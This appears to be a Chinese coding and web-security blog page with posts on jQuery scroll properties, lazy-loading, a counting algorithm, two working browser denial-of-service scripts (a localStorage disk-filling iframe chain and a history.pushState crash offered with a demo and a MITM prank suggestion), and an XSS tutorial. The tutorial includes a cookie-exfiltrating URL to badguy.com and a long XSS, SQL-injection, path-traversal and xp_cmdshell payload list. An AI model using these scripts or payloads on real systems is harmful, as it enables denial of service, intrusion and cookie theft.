代码人生 - Mrxn's Blog-关注web安全、热爱黑客技术

详细解读jQuery CSS 操作 - scrollTop,scrollLeft,offsetLeft方法代码人生

关于scrollTop,offsetTop,scrollLeft,offsetLeft用法介绍：

页可见区域宽： document.body.clientWidth;
网页可见区域高： document.body.clientHeight;
网页可见区域宽： document.body.offsetWidth (包括边线的宽);
网页可见区域高： document.body.offsetHeight (包括边线的宽);
网页正文全文宽： document.body.scrollWidth;
网页正文全文高： document.body.scrollHeight;
网页被卷去的高： document.body.scrollTop;
网页被卷去的左： document.body.scrollLeft;
网页正文部分上： window.screenTop;
网页正文部分左： window.screenLeft;
屏幕分辨率的高： window.screen.height;
屏幕分辨率的宽： window.screen.width;
屏幕可用工作区高度： window.screen.availHeight;

offsetTop, offsetLeft：只读属性。要确定的这两个属性的值，首先得确定元素的offsetParent。offsetParent指的是距该元素最近的position不为static的祖先元素，如果没有则指向body元素。确定了offsetParent，offsetLeft指的是元素左侧偏移offsetParent的距离，同理offsetTop指的是上侧偏移的距离。

offsetHeight, offsetWidth：只读属性。这两个属性返回的是元素的高度或宽度，包括元素的边框、内边距和滚动条。返回值是一个经过四舍五入的整数。如下图：

scrollHeight, scrollWidth：只读属性。返回元素内容的整体尺寸，包括元素看不见的部分（需要滚动才能看见的）。返回值包括padding，但不包括margin和border。如下图：

scrollTop, scrollLeft：图中已经表示的很明白了。如果元素不能被滚动，则为0。

window.innerWidth, window.innerHeight：只读。视口（viewport）的尺寸，包含滚动条

clientHeight, clientWidth：包括padding，但不包括border, margin和滚动条。如下图

Element.getBoundingClientRect()：只读，返回浮点值。这个方法非常有用，常用于确定元素相对于视口的位置。该方法会返回一个DOMRect对象，包含left, top, width, height, bottom, right六个属性：

left, right, top, bottom：都是元素（不包括margin）相对于视口的原点（视口的上边界和左边界）的距离。

height, width：元素的整体尺寸，包括被滚动隐藏的部分；padding和border参与计算。另外，heigth=bottom-top, width=right-left。

jQuery常用监听页面滚动

当前滚动的地方的窗口顶端到整个页面顶端的距离：

var winPos = $(window).scrollTop();

获取指定元素的页面位置

$(val).offset().top;

对页面滚动条滚动的监听：要放在页面加载的时候

$(window).scroll(function(event){});

设置滚动条到指定位置

$(window).scrollTop(offset)

标签: 代码分享 jQuery

admin 发布于 2016-12-2 20:54

评论(0) 浏览(3887)

详细分析如何实现图片懒加载(lazyload)，提高用户体验代码人生

懒加载的意义（为什么要使用懒加载）
原理
代码

懒加载的意义（为什么要使用懒加载）

对页面加载速度影响最大的就是图片，一张普通的图片可以达到几M的大小，而代码也许就只有几十KB。当页面图片很多时，页面的加载速度缓慢，几S钟内页面没有加载完成，也许会失去很多的用户。

所以，对于图片过多的页面，为了加速页面加载速度，所以很多时候我们需要将页面内未出现在可视区域内的图片先不做加载，等到滚动到可视区域后再去加载。这样子对于页面加载性能上会有很大的提升，也提高了用户体验。

原理

将页面中的img标签src指向一张小图片或者src为空，然后定义data-src（这个属性可以自定义命名，我才用data-src）属性指向真实的图片。src指向一张默认的图片，否则当src为空时也会向服务器发送一次请求。可以指向loading的地址。

注：图片要指定宽高

<img src="default.jpg" data-src="http://ww4.sinaimg.cn/large/006y8mN6gw1fa5obmqrmvj305k05k3yh.jpg" />

当载入页面时，先把可视区域内的img标签的data-src属性值负给src，然后监听滚动事件，把用户即将看到的图片加载。这样便实现了懒加载。

代码

在写代码前，需要了解各种高度。可以参考这篇文章：https://mrxn.net/codelife/jQuery-css-scrollTop-scrollLeft-offsetLeft.html

<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <style>
        img {
            display: block;
            margin-bottom: 50px;
            width: 400px;
            height: 400px;
        }
    </style>
</head>
<body>
    <img src="default.jpg" data-src="http://ww4.sinaimg.cn/large/006y8mN6gw1fa5obmqrmvj305k05k3yh.jpg" alt="">
    <img src="default.jpg" data-src="http://ww4.sinaimg.cn/large/006y8mN6gw1fa5obmqrmvj305k05k3yh.jpg" alt="">
    <img src="default.jpg" data-src="http://ww1.sinaimg.cn/large/006y8mN6gw1fa7kaed2hpj30sg0l9q54.jpg" alt="">
    <img src="default.jpg" data-src="http://ww1.sinaimg.cn/large/006y8mN6gw1fa7kaed2hpj30sg0l9q54.jpg" alt="">
    <img src="default.jpg" data-src="http://ww4.sinaimg.cn/large/006y8mN6gw1fa5obmqrmvj305k05k3yh.jpg" alt="">
    <img src="default.jpg" data-src="http://ww4.sinaimg.cn/large/006y8mN6gw1fa5obmqrmvj305k05k3yh.jpg" alt="">
    <img src="default.jpg" data-src="http://ww4.sinaimg.cn/large/006y8mN6gw1fa5obmqrmvj305k05k3yh.jpg" alt="">
    <img src="default.jpg" data-src="http://ww4.sinaimg.cn/large/006y8mN6gw1fa5obmqrmvj305k05k3yh.jpg" alt="">
    <img src="default.jpg" data-src="http://ww1.sinaimg.cn/large/006y8mN6gw1fa7kaed2hpj30sg0l9q54.jpg" alt="">
    <img src="default.jpg" data-src="http://ww4.sinaimg.cn/large/006y8mN6gw1fa5obmqrmvj305k05k3yh.jpg" alt="">
    <img src="default.jpg" data-src="http://ww4.sinaimg.cn/large/006y8mN6gw1fa5obmqrmvj305k05k3yh.jpg" alt="">
</body>

JavaScript

<script>
    var num = document.getElementsByTagName('img').length;
    var img = document.getElementsByTagName("img");
    var n = 0; //存储图片加载到的位置，避免每次都从第一张图片开始遍历
    lazyload(); //页面载入完毕加载可是区域内的图片
    window.onscroll = lazyload;
    function lazyload() { //监听页面滚动事件
        var seeHeight = document.documentElement.clientHeight; //可见区域高度
        var scrollTop = document.documentElement.scrollTop || document.body.scrollTop; //滚动条距离顶部高度
        for (var i = n; i < num; i++) {
            if (img[i].offsetTop < seeHeight + scrollTop) {
                if (img[i].getAttribute("src") == "default.jpg") {
                    img[i].src = img[i].getAttribute("data-src");
                }
                n = i + 1;
            }
        }
    }
</script>

jQuery

<script>
    var n = 0,
        imgNum = $("img").length,
        img = $('img');
    lazyload();
    $(window).scroll(lazyload);
    function lazyload(event) {
        for (var i = n; i < imgNum; i++) {
            if (img.eq(i).offset().top < parseInt($(window).height()) + parseInt($(window).scrollTop())) {
                if (img.eq(i).attr("src") == "default.jpg") {
                    var src = img.eq(i).attr("data-src");
                    img.eq(i).attr("src", src);
                    n = i + 1;
                }
            }
        }
    }
</script>

使用节流函数进行性能优化

如果直接将函数绑定在scroll事件上，当页面滚动时，函数会被高频触发，这非常影响浏览器的性能。

我想实现限制触发频率，来优化性能。

节流函数：只允许一个函数在N秒内执行一次。下面是一个简单的节流函数：

// 简单的节流函数
//fun 要执行的函数
//delay 延迟
//time  在time时间内必须执行一次
function throttle(fun, delay, time) {
    var timeout,
        startTime = new Date();
    return function() {
        var context = this,
            args = arguments,
            curTime = new Date();
        clearTimeout(timeout);
        // 如果达到了规定的触发时间间隔，触发 handler
        if (curTime - startTime >= time) {
            fun.apply(context, args);
            startTime = curTime;
            // 没达到触发间隔，重新设定定时器
        } else {
            timeout = setTimeout(fun, delay);
        }
    };
};
// 实际想绑定在 scroll 事件上的 handler
function lazyload(event) {}
// 采用了节流函数
window.addEventListener('scroll',throttle(lazyload,500,1000));

标签: 分享 JS html

admin 发布于 2016-12-2 20:15

评论(0) 浏览(2896)

算法学习之处-运用基本的逻辑与数学知识进行简单的循环遍历代码人生

假设有这么一道数学题：

求第2333个能被2或者被3整除的正整数是…?

举例:(被2或者被3整除的正整数依次是：2,3,4,6,8,9,10,12,14,15,16,18…)

我们也可以使用最基本的数学方法来算：

这个时候，数字比较大，用数学的方法就比较吃力费时了，当然，不排除你是个牛人。运算速度超常人，可以不用往下看了，渣渣 -_-|| 颤抖吧！

首先是来看看PHP版：

<?php 
function getResult($times){

        $i    =    0;
        $n    =    1;

        while(true){
            if(!($n%2) || !($n%3)){
                $i++;

                if($i == $times){
                    return $n;
                }
            }

            $n++;
        }
    }

    echo getResult(2333);
?>

然后看看Java版：

public class Main
    {
        public static void main(String[] args)
        {
            int cnt=0,num=1;
            while(true)
            {
                if(num%2==0||num%3==0)cnt++;
                if(cnt==2333)break;
                num++;
            }
            System.out.println(num);
        }
    }

Python版本：

[i for i in range(0,8000) if not(i%2 and i%3)][2333]

再看看C++：

//O(1)复杂度，不解释 
#include <iostream>
using namespace std;

bool Check(int m, int n){
    if(m%2 ==0 || m%3 == 0){
        return m/2 + m/3 - m/6 ==n;
    }
    return false;
}

int Get(int n){
    int top = (n-3)/4*6;
    while(!Check(top, n))//最多循环10次
        ++top;
    return top;
}

int main(){
    cout<<Get(2333)<<endl;
}

还有Go语言版本：

func main() {
    var x int
    c := 2333
    //c = x/2+ x/3-x/6==>x=2*c/3 + c%2
    x = 3*c/2 + c%2
    fmt.Println(x)
}

javascript版本:

var arr = [];
    var a = 0;
    while(arr.length < 2334) {
        a++;
        if (a % 3 == 0 || a % 2 == 0) {
            arr.push(a);
        }
    }
    console.log(arr[2332]);

php版本呢，我自己还写了个利用数组的方法：

把成立的结果放在数组里（把范围限制在4000以下，不然一直循环下去没完没了-_-|），key按照自增排列，最后foreach遍历，遍历到key值为2333是停止遍历并且把结果输出，但是这个方法貌似很不好，只是本人确实水平不好，正在学习中...哈哈下次再见。

标签: 编程代码 Python JS php 算法

admin 发布于 2016-4-22 11:53

评论(5) 浏览(9253)

作为一个前端，可以如何机智地弄坏一台电脑？代码人生

有人说，前端的界限就在浏览器那儿。

无论你触发了多少bug，最多导致浏览器崩溃，对系统影响不到哪去。
这就像二次元各种炫酷的毁灭世界，都不会导致三次元的世界末日。
然而，作为一个前端，我发现是有方式打开次元大门的…

这个实验脑洞较大，动机无聊，但某种意义上反映了一些安全问题。
想象一下，有天你在家里上网，吃着火锅还唱着歌，点开一个链接，电脑突然就蓝屏了！想想还真有点小激动。

起因

故事得从localStorage说起。

html5的本地存储，相信大家都不陌生。将数据以二进制文件形式存储到本地，在当前应用得非常广泛。
windows下的chrome，localStorage存储于C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage文件夹中。但如果任由网页无限写文件，对用户硬盘的伤害可想而知，因而浏览器对其做了大小限制。

对于一个域名+端口，PC侧的上限是5M-10M之间，移动侧是则不大于2.5M。

那么问题就变成：这样的限制足够保护用户硬盘了吗？

关键

关键的问题在于，这一限制，针对的是一个域名+端口。
也就是说，你访问同一个域名的不同端口，它们的localStorage并无关联，是分开存储的。

我用node简单地开启了服务器，这时，用户访问http://127.0.0.1:1000到http://127.0.0.1:1099这100个端口，会请求到同一个页面：index.html：

var http = require('http');
var fs = require('fs');

//100个端口
for(var port = 1000; port< 1100; port++){
  http.createServer(function (request, response) {
    //请忽略这种循环读文件的方式，只为了简便
    fs.readFile('./index.html', function(err, content){
      if(err) {
      } else {
        response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' });
        response.write(content);
        response.end();
      }
    });
  }).listen(port, '127.0.0.1');
}

当然，这个index.html里涉及了localStorage写操作。

var s = "";
//慢慢来，别写太大了，好害怕…
for(var i=0; i< 3 * 1024 * 1024; i++){
  s += "0";
}
localStorage.setItem("testData", s);

我试着用浏览器分别访问了几个端口，结果是分开存储。一切跟剧本一样。

自动遍历

但这种程度还不够。
如果要实验变得更好（xie）玩（e）一些，问题就变成如何让用户自动遍历这些端口？

iframe是个好的尝试。
只要一打开http://127.0.0.1: 1000，页面的脚步就会创建一个iframe，去请求http://127.0.0.1: 1001，一直循环下去。

var Main = (function(){
  var _key = "testData";
  var _max = 1100; //最大限制
  return {
    init: function(){
      //慢慢来，别写太大了，好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);

      var port = parseInt(location.port)+1;
      if(port > _max) return;

      //新添加iframe
      var url = "http://127.0.0.1:" + port;
      var $iframe = document.createElement("iframe");
      $iframe.src = url;
      document.getElementsByTagName("body")[0].appendChild($iframe);
    }
  }
})();

当然iframe我们还可以设置为不可见，以掩盖这种不厚道的行为…
比方说，有人发给你一个链接，你打开后发现是个视频，而你根本注意不到背后的脚本，在视频播放的几分钟里，快要把你的C盘写满。

然后我就看到请求如潮水渐涨：

但是，请求到1081端口，最新的chrome就崩溃掉了…原来iframe嵌套太多，已经到达了浏览器的极限。

防止浏览器崩溃

C盘还未撑满，同志还需努力。怎么办？

突然想到，到达iframe极限之前，我们可以重定向啊。
每访问50个端口，就使用window.location.href重定向一次，去确保浏览器不崩溃。

var Main = (function(){
  var _key = "testData";
  var _max = 1200; //最大限制
  var _jumpSpace = 50; //为避免iframe过多导致浏览器crash，每50个执行跳转

  return {
    init: function(){
      //慢慢来，别写太大了，好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);

      var port = parseInt(location.port)+1;
      if(port > _max) return;

      if(port % _jumpSpace == 0){
        //每50个，重定向一次
        window.location.href = url;
      }else{
        //新添加iframe
        var $iframe = document.createElement("iframe");
        $iframe.src = url;
        document.getElementsByTagName("body")[0].appendChild($iframe);
      }
    }
  }
})();

事实证明，这种蛮拼的方法的确可行。

至此，只要访问http://127.0.0.1: 1000，就会往Local Storage文件夹里写入近500M无用数据：

里面的数据是这样的：

继续实验的黑科技

算了下我的C盘还有空间嘛，那就把端口数量从100增长到200个。
结果是这样的，到达了1.17G大小。

在后续的实验中，我就慢慢的把端口数量与存储的数据调大。

电脑也运行得越来越慢。这是为什么呢？

我观察到，有时候执行localStorage.setItem()后，在文件夹里不一定立即能看到数据文件。
怀疑这些数据会被chrome先放到内存里，以避免重复读写带来的消耗，在空闲或关闭的时机，再写进硬盘里。

但此时，浏览器已经影响到系统了。它处于一种“不会崩溃”，但“因为占用了许多内存，已经妨碍用户电脑的正常使用”的状态。
即使用户关闭了浏览器窗口，也不会很快恢复。要知道读写任务并不是随窗口关闭而终止的，否则浏览器会丢失数据。

遭遇黑科技的人们能做的只有：

等待；
用任务管理器关掉chrome进程，再等待；
相信并尝试“重启电脑解决90%电脑问题”的科学论断

可以说，浏览器的内心几乎是崩溃的。

最后

最后，还是得用严肃脸告诫一下：害人之心不可有。
本实验，从一开始就是怀揣着将安全问题上交给国家的初衷去做的（是的就是这么纯粹）。

后续，看着C盘还有2G空间，我又把端口增长到2000个，试下会发生什么。
由于请求过多，需要一定时间，我就去做别的事情了。
回来后发现房间安静祥和，美轮美奂，一片蓝光，像是加了特技。

那么问题来了，计算机修理哪家强？
有点急…

原文地址：http://litten.github.io/2015/07/06/hack-in-localstorage/

标签: 编程代码 html5

admin 发布于 2016-4-19 10:31

评论(13) 浏览(13821)

HTML5新特性Bug：这12行代码分分钟让你浏览器崩溃iPhone重启代码人生

使用这十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃，甚至让iPhone重启？！

起因

今天刷推特的时候发现Cyber Security@cyber__sec的推文让人眼前一亮：

Crash firefox, chrome, safari browsers, and also restart iPhone using this javascript code. #dos #0day #exploit
//使用下面这段JavaScript代码能让firefox，chrome，safari浏览器崩溃，而且还能让iPhone重启。

完整HTML代码如下：

<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
    total= total+i.toString();
    history.pushState(0,0,total);
}
</script>
</body>
</html>

demo：（温馨提示：请保存浏览器其它窗口的编辑任务）

http://api.mrxn.net/demo.html (点击一下，又不会怀孕！)

接来下会发生什么？

点开以后，我的状态是这样的：

如果你是PC端用户，点开链接以后，电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死！

如果你是移动端（安卓、iPhone）用户，点开链接以后你的浏览器会闪退！在微博、微信客户端点开链接同样会闪退。至于在推文中提到的让iPhone重启，这一现象倒是没有出现。22：49 修正：iPhone用Safari打开之后链接之后，手机注销重启了！…

思考

这是Bug还是0day?为什么会有这一现象？如何实现的？

有哪些比较有意思的利用姿势？（我先来个:当在执行MITM中间人攻击的时候，可以注入这一段js，来个恶搞整蛊。然后都懂的...）

欢迎大家在评论中发表自己的观点

标签: JS html5 bug 浏览器崩溃

admin 发布于 2016-4-17 13:59

评论(4) 浏览(9063)

结合自己的实际经历说说WEB安全之XSS是如何发生的又如何预防代码人生

定义（来自百度百科）：

跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的特殊目的。

XSS的工作流程大致如下（图片来自网络）：

下面先看看我自己测试的XSS场景效果，当然怀有恶意的XSS是不会让你看见的：

这是获取一个网站管理员的cookies

这是测试弹出一句话，当然也可以是其他js代码，读取cookies存到一个地方，跳转到钓鱼网站，或者是劫持你的浏览器等等。

下面就具体的分析一下是如何形成并且发生的：

假如有下面一个textbox

<input type="text" name="address1" value="value1from">

value1from是来自用户的输入，如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

或者用户输入的是 "onfocus="alert(document.cookie) 那么就会变成

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

事件被触发的时候嵌入的JavaScript代码将会被执行

攻击的威力，取决于用户输入了什么样的脚本

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

XSS之所以会发生，是因为用户输入的数据变成了代码。所以我们需要对用户输入的数据进行HTML Encode处理。将其中的"中括号"， “单引号”，“引号” 之类的特殊字符进行编码。

在C#中已经提供了现成的方法，只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。（需要引用System.Web程序集）
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

XSS 攻击场景：

1. Dom-Based XSS 漏洞攻击过程如下

Tom 发现了Victim.com中的一个页面有XSS漏洞，

例如: http://victim.com/search.asp?term=apple

服务器中Search.asp 页面的代码大概如下

<html>
　　<title></title>
　　<body>
　　　　Results  for  <%Reequest.QueryString("term")%>
　　　　...
　　</body>
</html>

Tom 先建立一个网站http://badguy.com, 用来接收“偷”来的信息。

然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件，QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL，嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.

2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞，攻击者将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄露的可能。攻击过程如下

Alex发现了网站A上有一个XSS 漏洞，该漏洞允许将攻击代码保存在数据库中，

Alex发布了一篇文章，文章中嵌入了恶意JavaScript代码。

其他人如Monica访问这片文章的时候，嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行，其会话cookie或者其他信息将被Alex盗走。

Dom-Based XSS漏洞威胁用户个体，而存储式XSS漏洞所威胁的对象将是大量的用户.

XSS 漏洞修复：

原则：　不相信客户输入的数据

注意: 攻击代码不一定在<script></script>中

将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
只允许用户输入我们期望的数据。例如：　年龄的textbox中，只允许用户输入数字。而数字之外的字符都过滤掉。
对数据进行Html Encode 处理
过滤或移除特殊的Html标签，例如: <script>, <iframe> , < for <, > for >, &quot for
过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
使用第三方防护产品，比如各种云加速都有waf，百度云，阿里云，知道创宇云，或者是网站防护软件，安全狗,D盾，360网站、主机卫士等等，在这里就不一一列举，请大家自行测试吧。

如何测试XSS漏洞？

方法一：查看代码，查找关键的变量, 客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单，以及cookie. 例如在ASP的程序中，通过Request对象获取客户端的变量

<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

假如变量没有经过htmlEncode处理，那么这个变量就存在一个XSS漏洞

方法二：　准备测试脚本，

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

在网页中的Textbox或者其他能输入数据的地方，输入这些测试脚本，看能不能弹出对话框，能弹出的话说明存在XSS漏洞

在URL中查看有那些变量通过URL把值传给Web服务器，把这些变量的值退换成我们的测试的脚本。然后看我们的脚本是否能执行

方法三: 自动化测试XSS漏洞

现在已经有很多XSS扫描工具了。实现XSS自动化测试非常简单，只需要用HttpWebRequest类。把包含xss 测试脚本。发送给Web服务器。然后查看HttpWebResponse中，我们的XSS测试脚本是否已经注入进去了。

附上一些常用的XSS测试代码：

"/><script>alert("测试一下，哈哈")</script><!-
‘><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<script>alert(‘XSS’)</script>
<img src=”javascript:alert(‘XSS’)”>
%0a%0a<script>alert(\”Vulnerable\”)</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert(‘Vulnerable’);</script>
<script>alert(‘Vulnerable’)</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert(‘Vulnerable’)</script>
a/
a?<script>alert(‘Vulnerable’)</script>
“><script>alert(‘Vulnerable’)</script>
‘;exec%20master..xp_cmdshell%20’dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt’–&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
”;!–“<XSS>=&{()}
<IMG src=”javascript:alert(‘XSS’);”>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(“XSS”)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
“<IMG src=java\0script:alert(\”XSS\”)>”;’ > out
<IMG src=” javascript:alert(‘XSS’);”>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<BGSOUND src=”javascript:alert(‘XSS’);”>
<br size=”&{alert(‘XSS’)}”>
<LAYER src=”http://www.testsite.com/a.js”></layer>
<LINK REL=”stylesheet” href=”javascript:alert(‘XSS’);”>
<IMG src=’vbscript:msgbox(“XSS”)’>
<IMG src=”mocha:”>
<IMG src=”livescript:”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<IFRAME src=javascript:alert(‘XSS’)></IFRAME>
<FRAMESET><FRAME src=javascript:alert(‘XSS’)></FRAME></FRAMESET>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”behaviour: url(‘http://www.testsite.org/exploit.html’);”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>
<IMG STYLE=’xss:expre\ssion(alert(“XSS”))’>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A class=”XSS”></A>
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
<BASE href=”javascript:alert(‘XSS’);//”>
getURL(“javascript:alert(‘XSS’)”)
a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘XSS’);”;eval(a+b+c+d);
<XML src=”javascript:alert(‘XSS’);”>
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><“
<SCRIPT src=”http://xss.ha.ckers.org/xss.jpg”></SCRIPT>
<IMG src=”javascript:alert(‘XSS’)”
<!–#exec cmd=”/bin/echo ‘<SCRIPT SRC'”–><!–#exec cmd=”/bin/echo ‘=http://xss.ha.ckers.org/a.js></SCRIPT>'”–>
<IMG src=”http://www.testsite.com/somecommand.php?somevariables=maliciouscode”>
<SCRIPT a=”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT =”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT a=”>” ” src=”www.testsite.com/a.js”></SCRIPT>
<SCRIPT “a=’>'” src=”www.testsite.com/a.js”></SCRIPT>
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT src=”http://www.testsite.com/a.js”></SCRIPT>
<A href=http://www.testsite.com://www.testsite.com/ogle.com/>link</A>
admin’–
‘ or 0=0 —
” or 0=0 —
or 0=0 —
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’=’x
” or “x”=”x
‘) or (‘x’=’x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’=’a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 —
hi’ or 1=1 —
hi’ or ‘a’=’a
hi’) or (‘a’=’a
hi”) or (“a”=”a

HTML Encode 和URL Encode的区别

刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。

HTML编码前面已经介绍过了，关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。

例如在baidu中搜索"测试汉字"。 URL会变成

http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

所谓URL编码就是：　把所有非字母数字字符都将被替换成百分号（%）后跟两位十六进制数，空格则编码为加号（+）

在C#中已经提供了现成的方法，只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。（需要引用System.Web程序集）

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

浏览器中的XSS过滤器

为了防止发生XSS，很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。例如IE8，IE9，Firefox, Chrome. 都有针对XSS的安全机制。浏览器会阻止XSS。例如下图

如果需要做测试，最好使用IE7-。

ASP.NET中的XSS安全机制

ASP.NET中有防范XSS的机制，对提交的表单会自动检查是否存在XSS，当用户试图输入XSS代码的时候，ASP.NET会抛出一个错误如下图

很多程序员对安全没有概念，甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。

如果想禁止这个安全特性，可以通过 <%@ Page validateRequest=“false" %>

想要更多关于XSS的使用和防御教程请Google搜索：https://www.google.com/#q=site:drops.wooyun.org+xss

参考：http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html

标签: 编程代码攻击渗透测试 XSS 防范跨站 csrf

admin 发布于 2016-4-10 16:44

评论(4) 浏览(7608)

简单的js代码让你的鼠标拥有动态文字跟随代码人生

效果呢，如上图所示，具体效果可以看我博客就知道了，我把代码贴出来，需要的，喜欢折腾的慢慢去折腾哈，你也考虑把文本弄成随机变换的。

// ENTER TEXT BELOW. CAN *NOT* INCLUDE NORMAL HTML CODE.
var text='W elcom e to M rxn\'s B log *_*' ;
var delay=30;                              // SPEED OF TRAIL

var Xoff=10;                                // PIXEL COUNT FROM THE LEFT OF THE CURSOR (- VALUES GO TO LEFT)

var Yoff=-25;                              // PIXEL COUNT FROM THE TOP OF THE CURSOR (- VALUES GO UP)

var txtw=9;                               // AMOUNT OF PIXEL SPACE EACH CHARACTER OCCUPIES

var beghtml='<font color="#FF0000"><b>';   // OPTIONAL HTML CODE THAT EFFECTS WHOLE TEXT STRING SUCH AS FONT COLOR, SIZE, ETC.

var endhtml='</b></font>';                 // END HTML CODE. MOSTLY USED IF ABOVE SETTING IS USED.

//********** NO NEED TO EDIT BELOW HERE **********\\

ns4 = (navigator.appName.indexOf("Netscape")>=0 && document.layers)? true : false;

ie4 = (document.all && !document.getElementById)? true : false;

ie5 = (document.all && document.getElementById)? true : false;

ns6 = (document.getElementById && navigator.appName.indexOf("Netscape")>=0 )? true: false;

var txtA=new Array();

text=text.split('');

var x1=0;

var y1=-1000;

var t='';

for(i=1;i<=text.length;i++){

t+=(ns4)? '<layer name="txt'+i+'" top="-100" left="0" width="'+txtw+'" height="1">' : '<div id="txt'+i+'" style="position:absolute; top:-100px; left:0px; height:1px; width:'+txtw+'; visibility:visible;">';

t+=beghtml+text[i-1]+endhtml;

t+=(ns4)? '</layer>' : '</div>';

}

document.write(t);

function moveid(id,x,y){

if(ns4)id.moveTo(x,y);

else{

id.style.left=x+'px';

id.style.top=y+'px';

}}

